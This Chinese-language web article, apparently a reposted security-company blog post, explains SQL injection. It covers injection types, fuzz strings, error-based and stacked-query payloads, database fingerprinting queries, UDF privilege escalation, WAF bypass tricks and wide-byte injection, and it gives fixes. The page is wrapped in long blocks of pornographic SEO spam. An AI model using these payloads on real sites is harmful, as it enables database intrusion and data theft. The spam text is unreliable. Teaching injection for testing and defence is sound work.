亚洲欧洲久久av_极品美女国产精品免费一区_老司机网站免费_免费视频入口_人妻网站成熟人妻VA网站_福利视频网站

滲透測試對網站注入攻擊方法剖析
  • 更新時間:2025-04-24 19:13:39
  • 開發經驗
  • 發布時間:3年前
  • 531

國慶即將到來,前一期講到獲取網站信息判斷所屬環境以及各個端口的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對于SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!


3.1 SQL注入漏洞

3.1.1. 注入分類

SQL注入是一種代碼注入技術,用于攻擊數據驅動的應用程序。在應用程序中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入字段中執行(例如將數據庫內容轉儲給攻擊者)。


3.1.1.1. 按技巧分類

根據使用的技巧,SQL注入類型可分為


盲注

布爾盲注:只能從應用返回中推斷語句執行后的布爾值

時間盲注:應用沒有明確的回顯,只能使用特定的時間函數來判斷

報錯注入:應用會顯示全部或者部分的報錯信息

堆疊注入:有的應用可以加入 ; 后一次執行多條語句

其他


3.1.1.2. 按獲取數據的方式分類

另外也可以根據獲取數據的方式分為3類

inband

利用Web應用來直接獲取數據

如報錯注入

都是通過站點的響應或者錯誤反饋來提取數據

inference

通過Web的一些反映來推斷數據

如布爾盲注和堆疊注入

也就是我們通俗的盲注,

通過web應用的其他改變來推斷數據

out of band(OOB)

通過其他傳輸方式來獲得數據,比如DNS解析協議和電子郵件


3.1.2. 注入檢測

3.1.2.1. 常見的注入點

GET/POST/PUT/DELETE參數

X-Forwarded-For

文件名

3.1.2.2. Fuzz注入點

' / "

1/1

1/0

and 1=1

" and "1"="1

and 1=2

or 1=1

or 1=

' and '1'='1

+ - ^ * % /

<< >> || | & &&

~

!

@

反引號執行

3.1.2.3. 測試用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 測試列數

例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回

3.1.2.5. 報錯注入

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

extractvalue(1, concat(0x5c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的報錯注入

GeometryCollection((select * from (select * from(select user())a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(select user())a)b))

multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函數的報錯注入在MySQL 5.5.49后的版本已經不再生效,具體可以參考這個 commit 95825f 。

而以上列表中基于geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較后的版本中同樣不再生效。

3.1.2.6. 堆疊注入

;select 1

3.1.2.7. 注釋符

#

--+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

3.1.2.8. 判斷過濾規則

是否有trunc

是否過濾某個字符

是否過濾關鍵字

slash和編碼

3.1.2.9. 獲取信息

判斷數據庫類型

and exists (select * from msysobjects ) > 0 access數據庫

and exists (select * from sysobjects ) > 0 SQLServer數據庫

判斷數據庫表

and exsits (select * from admin)

版本、主機名、用戶名、庫名

表和字段

確定字段數(Order By Select Into)

表名、列名

3.1.2.10. 測試權限

文件操作

讀敏感文件

寫shell

帶外通道

網絡請求

3.1.3. 權限提升

3.1.3.1. UDF提權

UDF(User Defined Function,用戶自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數,擴充其功能。

當獲得MySQL權限之后,即可通過這種方式上傳自定義的擴展文件,從MySQL中執行系統命令。

3.1.4. 數據庫檢測

3.1.4.1. MySQL

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5('test'))

字符串連接

SELECT 'a' 'b'

SELECT CONCAT('some','string')

version

SELECT @@version

SELECT version()

識別用函數

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串連接

'a'||'oracle' --

SELECT CONCAT('some','string')

version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';

SERVERNAME SELECT @@SERVERNAME

version SELECT @@version

字符串連接

SELECT 'some'+'string'

常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

sleep pg_sleep(1)

3.1.5. 繞過技巧

編碼繞過

大小寫

url編碼

html編碼

十六進制編碼

unicode編碼

注釋

// -- -- + -- - # /**/ ;%00

內聯注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

只過濾了一次時

union => ununionion

相同功能替換

函數替換

substring / mid / sub

ascii / hex / bin

benchmark / sleep

變量替換

user() / @@user

符號和關鍵字

and / &

or / |

HTTP參數

HTTP參數污染

id=1&id=2&id=3 根據容器不同會有不同的結果

HTTP分割注入

緩沖區溢出

一些C語言的WAF處理的字符串長度有限,超出某個長度后的payload可能不會被處理

二次注入有長度限制時,通過多句執行的方法改掉數據庫該字段的長度繞過

3.1.6. SQL注入小技巧

3.1.6.1. 寬字節注入

一般程序員用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之后,mysql就會認為客戶端傳過來的數據是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設置的數據的編碼的,就會加 %5c 。此時server拿到數據解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產生漏洞了。

解決的辦法有三種,第一種是把client的charset設置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會把編碼的信息保存在和數據庫的連接里面,就不會出現這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網站安全性,可以聯系專業的網站安全公司來處理解決,國內推薦Sinesafe,綠盟,啟明星辰等等的網站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那么admin%32在代碼里面不等于admin,在數據庫比較會等于admin。

我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7595.html
推薦文章

在線客服

掃碼聯系客服

3985758

回到頂部

主站蜘蛛池模板: CHINESE国产AV巨作VIDEOS_美女视频很黄很a免费_国产在线视频不卡香蕉_久久无码中文字幕免费影院蜜桃_国产激情_亚洲国产精_2021久久_国产亚洲精品美女久久久久 | 在线观看国产日韩欧美_日韩午夜视频免费_国产精品美女视频免费午夜版_夜夜爱夜夜操_日韩素人_久久久九九_国产在线看片_成人黄网站片免费视频 | 国产精品草草在线观看_国产成人亚洲影院在线播放_亚洲一二三四区不卡_黄频视频在线观看_性欧美极品另类_免费在线看一区_人妻无码精品久久亚瑟影视_息与子五十路中文字幕 | 青娱乐超碰在线91_午夜精品久久久久久久久久久久久久_国产在线视频在线观看_91在线高清观看_超碰超级在线免费观看_黄色wwwwwww_欧美精品久久凉森玲梦_欧美精品videosex极品 | 完全着衣の爆乳お姉さんが_av影视在线播放_奇米国产在线_亚洲女人在线观看_超碰9在线_狠狠综合久久久久综合_成人av专区精品无码国产_亚洲日韩亚洲另类激情文学一 | 麻豆影院_免费毛片手机在线播放_日韩成人自拍_狠狠干亚洲色图_老头把我添高潮了A片故视频_韩国一级片免费看_久久久久黄_91精品国产91久久久久 | 天天躁日日躁狠狠的躁天龙影院_日韩网站在线观看_成年人视频在线看_国产乱码精品一区二区三区麻豆_久久九九国产精品_一本一道AV无码中文字幕﹣百度_99热这里只有精品4_嫩草91在线 | 九九热在线视频_久久这里只有精品18_成年人免费在线视频_日韩在线视频观看免费网站_欧美日韩精品一区二区三区在线观看_一区二区视频免费观看_精品精品视频_黄色网址在线免费看 | 久久婷婷色香五月综合缴缴情_精品无人区卡卡卡卡卡二卡三乱码_内射老阿姨1区2区3区4区_福利视频一区_天堂在线最新版_中文在线好最新版在线_国产学生av娇小av毛片_亚洲精品乱码久久久久久蜜桃 | 国内精品女同女同一区二区三区_日韩处女网站_好男人在线社区www在线影院_国产福利资源_曰的好深好爽好紧的视频_午夜狠狠干_亚洲欧美最新_日本视频免费看 | 无码人妻丰满熟妇精品区_51国产午夜免费福利视频_波多野结衣在线播放_99爱免费观看国语_欧美特级黄色_国产精品96久久久久久又黄又硬_欧美性战a久久久久久_欧美精品一区二区三区四区五区 | 青青草视频一区_亚洲高清中文字幕在线看不卡_国产自偷自拍_91丨国产丨蚪窝海角社区_99草在线_欧美人与动性xxxxBBBB_伦xxxx在线_亚洲国产精品一区久久av篠田 | 天天草网站_国产成人视屏_精品欧美一区二区在线观看欧美熟_国产午夜精品理论片a级探花_av在线播放网址_综合图区亚洲欧美另类图片_亚洲黄色录像片_国产午夜亚洲精品理论片大丰影院 | 久久久国产午夜精品_国产中文字幕亚洲_超碰在线观看中文字幕_色5566_国产裸体舞hdtube_www.999热_精品1区2区3区4区_伊人久久大香线蕉av最新 | 亚洲av无码专区国产乱码4se_亚洲第一av网_91逼逼_中文无码精品视频在线看_日韩av爽爽爽久久久久久_国产精品人妻一区夜夜爱_在线日本看片免费人成视久网_欧美一区二区三区激情视频 | 国产乱一乱二乱三_免费黄色在线_国产高清一_香蕉国产9_国产精品午睡沙发系列_国产精品午夜无码A体验区_欧美人与动牲交ZOZO_国产精品久久久久久久久大全 | 亚洲黄色性视频_www.亚洲一区二区_成人av午夜_精品久久ai_无码aⅴ免费中文字幕久久_5252aⅴhaose我爱久久_亚洲一区区_一级黄色带片 | 国产精品九九九九九_精品久久久久久久久久ntr影视_中文字幕一区av_狼人久久乐_无码乱码av天堂一区二区_免费观看成人毛片a片2008_日韩有码在线观看_伊人久久精品无码二区麻豆 | 精品亚洲一区二区_欧美一区=区_久久久乱码精品亚洲日韩mv_老司机久久一区二区三区_亚洲黑人在线观看_天天插狠狠干_国产a级大片_亚洲日韩中文第一精品 | 噜噜高清欧美内射短视频_a一级黄色录像_国产高清在线_国产精品久久久亚洲女人_久久99热这里有精品6_婷婷激情综合色五月久久图片_亚洲AV无码一区二区三区18_免费香蕉视频 | 精品久久国产_欧美91_91porny国产_www.youjizz国产_99热这里只有精品1_亚洲九九九_日本一道本线一区免费_曰本一区二区 | www啦啦啦视频在线观看免费_一级国产aa片免费观看_无码精品A∨在线观看中文_九九精品视频在线观看_99国产精品2018视频全部_中国一级黄色片子_麻豆嫩芽忘忧草一区二区三区_99精品网 | 欧洲国产成人久久精品综合_九九在线国产视频_黄色美女一级片_九九热视频精品在线_蜜臀av性色av_久久亚洲美女精品国产精品_亚洲品质自拍视频_成年人激情视频 | japanese69极品少妇_卡一卡二卡三免费视频_亚洲精品中文字幕无码蜜桃_在线观看美女网站大全免费_中文字幕制服丝袜一区二区三区_久久久精品国产一区_九九九在线观看_想看一级黄色 | 国产成人精品亚洲精品_2017最新高清无码网站_欧美成人黄色_一区二区视频免费_性大片爱赏网免费观看_欧美性受xxxx黑人xxxy爽_精品久久久噜噜噜久久_7777久久香蕉成人影院 | 毛片免费视频在线观看_69久久久久久_少妇CHINA中国人妻VIDEO_国产精品国产自产拍高清_在公车上拨开内裤进入毛片_瑟瑟综合网_成人影院在线视频_国产精华最好的产品入口 | 136fldh导航福利微拍_不卡一区二区在线_一本色道综合久久亚洲精品_一区二区三区高清在线视频_我色综合_在线观看人成_国产精品国产三级国产普通话_青草久久久久 | 噜噜在线视频_99热1_www.久久久精品_人与性动交AAAABBBB视频_日韩欧美国产亚洲_美国一级欧美三级_国产网友愉拍精品视频手机人_在线毛片片免费观看 | h无码精品动漫尤物_亚洲亚洲人成网站网址_又黄又爽又无遮挡免费的网站_另类免费视频_国产强奷女交警在线播放_国产清纯91天堂在线观看_日本福利视频一区二区三区_健身教练啪啪偷拍一区二区 | vr成人片在线播放网站_免费高清一区二区三区_精品国产青草久久久久96_国产一级牲交高潮片16_欧美视频精品全部免费观看_japan白嫩丰满少妇videoshd_粉嫩av一区二区三区四区五区_亚洲日韩av无码一区二区三区人 | cao人人_国产69精品久久久久孕妇黑_成人免费观看www的片_www.youjizz.com日本_亚洲AV成人一区二区三区天堂_办公室撕开奶罩揉吮奶头H文_欧美综合一区二区_欧美黄在线观看 | 91狠狠狠狠狠狠狠狠_国产不卡一区在线_国产自国产一二三区高清在线_免费亚洲视频在线观看_久久精品欧美一区二区三区不卡_99久久精品国产交换_欧美日韩人妻精品一区二区在线_国产免费看av | 少妇的肉体迎合快乐_国产精品流白浆在线观看_天天摸夜夜添狠狠添高潮出水_精品卡一卡二卡3卡高清乱码_国产AV国片精品有毛_欧美三级视频日日操_久久久久久亚洲精品视频_7m视频成人精品分类 | 97在线精品视频_国产精品成年片在线观看_久久精品影视大全_亚洲男人综合久久综合天堂_日韩欧美中文字幕在线播放_免费av资源在线观看_国产精品区一区二区三在线播放_精品久久久久久国产三级 | 国产欧美日韩视频_av免费网_在线精品亚洲一区二区动态图_四川少妇搡BBW搡BBBB_欧美a级毛片_1717she国产精品高清在线观看_欧美日韩综合一区二区三区_黄色片一级毛片 | 国产亚洲色欲色一色WWW_免费一级成人毛片_国产成人啪精品视频免费视频_在线观看无码AV网站永久免费_免费无码又爽又刺激高潮的视频_韩国免费视频_国产一区二区三区四区三区四_久久伊人精品波多野结衣 | 在线99_三年片免费观看影视大全满天星_国产网红主播精品av_日韩美女在线_一级在线播放_国产精品成人一区无码_精品久久久久一区二区_H无码精品动漫在线观看导航 | 免费观看国产精品视频_欧洲美女粗暴牲交视频免费_香蕉影院在线_国产区精品福利在线社区_一区二区三区影视_亚州激情_69影院少妇在线观看_国产三级精品三级男人的天堂 | 波多野结衣永久免费视频_夜夜操天天爽_天天爱天天色_在线观看成人毛片_a集毛片_色成人在线视频_97超碰在线资源_免费观看一区二区 | 亚洲AV中文无码乱人伦在线咪咕_久久人人玩人妻潮喷内射人人_岛国一级毛片_成人性生交大片免费看5_色香蕉在线_刮伦人妇a片1级_亚洲午夜精品A片一区二区三区_18禁污污网站国产 久久爽久久爽久久av东京爽_成人日韩精品_脱了老师内裤猛烈进入的软件_欧洲国产精品精华液_国产乱子伦精品无码专区_亚洲一卡二卡三卡四卡无卡网站_蜜桃av在线_97精华最好的产品在线 | 九九精品在线视频_黄带一级片_国产骚妻_asiantube性ass富婆_成人国产亚洲精品A区天堂_亚洲国产精品久久久久久女王_色妞www精品视频观看软件_国产成人精品无码青草 |